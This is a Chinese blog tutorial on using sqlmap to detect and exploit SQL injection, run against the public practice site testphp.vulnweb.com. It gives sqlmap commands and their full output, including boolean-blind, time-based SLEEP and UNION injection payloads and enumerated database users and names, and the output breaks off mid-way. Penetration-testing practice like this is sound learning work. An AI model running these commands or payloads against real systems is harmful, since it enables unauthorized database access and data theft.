sql注入漏洞--sqlmap使用

本文介绍了如何使用sqlmap工具进行SQL注入漏洞的检测和利用。首先,你需要找到存在数据库交互的页面,然后通过一系列命令判断是否存在SQL注入。在实战部分,针对GET和POST请求,给出了详细的操作步骤,包括查看当前用户和数据库、获取表信息、读取数据等。通过这些命令,可以读取并导出目标系统的重要数据。
摘要由CSDN通过智能技术生成

sql注入漏洞–sqlmap使用

sqlmap工具获取:

基于python,需要有python环境

https://sqlmap.org/

基本流程:

  • 1.找到有数据库交互的功能页面
  • 2.判断页面是否存在sql注入
  • 3.利用sql注入漏洞读取数据
  • 4.导出所需数据保存

实战

http://testphp.vulnweb.com/artists.php?artist=1

在这里插入图片描述

get请求

命令:python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --users

        ___
       __H__
 ___ ___[)]_____ ___ ___  {
  1.5.5.1#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:15:18 /2021-06-16/

[16:15:19] [INFO] resuming back-end DBMS 'mysql'
[16:15:19] [INFO] testing connection to the target URL
[16:15:20] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 2604=2604

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 6108 FROM (SELECT(SLEEP(5)))zpTG)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-1284 UNION ALL SELECT NULL,CONCAT(0x7170627671,0x476b6d785276474b454b7676716c776b6a666e56574777456f7a6577445a766b656f6e596a7a5567,0x7178707871),NULL-- -
---
[16:15:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[16:15:20] [INFO] fetching database users
          
          
++++++++++++++++++++++++++++++++++++++hear!!!++++++++++++++++++++++++++++
database management system users [1]:
[*] 'acuart'@'localhost'
++++++++++++++++++++++++++++++++++++++hear!!!++++++++++++++++++++++++++++
          
          
[16:15:20] [INFO] fetched data logged to text files under 'C:\Users\Lenovo\AppData\Local\sqlmap\output\testphp.vulnweb.com'

[*] ending @ 16:15:20 /2021-06-16/

命令:python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

       ___
       __H__
 ___ ___[,]_____ ___ ___  {1.5.5.1#dev}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:15:02 /2021-06-16/

[16:15:02] [INFO] resuming back-end DBMS 'mysql'
[16:15:02] [INFO] testing connection to the target URL
[16:15:03] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[16:15:03] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 2604=2604

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 6108 FROM (SELECT(SLEEP(5)))zpTG)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-1284 UNION ALL SELECT NULL,CONCAT(0x7170627671,0x476b6d785276474b454b7676716c776b6a666e56574777456f7a6577445a766b656f6e596a7a5567,0x7178707871),NULL-- -
---
[16:15:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[16:15:03] [INFO] fetching database names
[16:15:04] [WARNING] the SQL query provided does not return any output
[16:15:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:15:04] [INFO] fetching number of databases
[16:15:04] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:15:04] [INFO] retrieved: 0
[16:15:07] [ERROR] unable to retrieve the number of databases
[16:15:07] [INFO] falling back to current database
[16:15:07] [INFO] fetching current database



+++++++++++++++++++++++++++++++++++++++++hear!!!!!++++++++++++++++++++++++++++++++++++++
available databases [1]:
[*] acuart
+++++++++++++++++++++++++++++++++++++++++hear!!!!!++++++++&#
  • 11
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

南岸青栀*

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值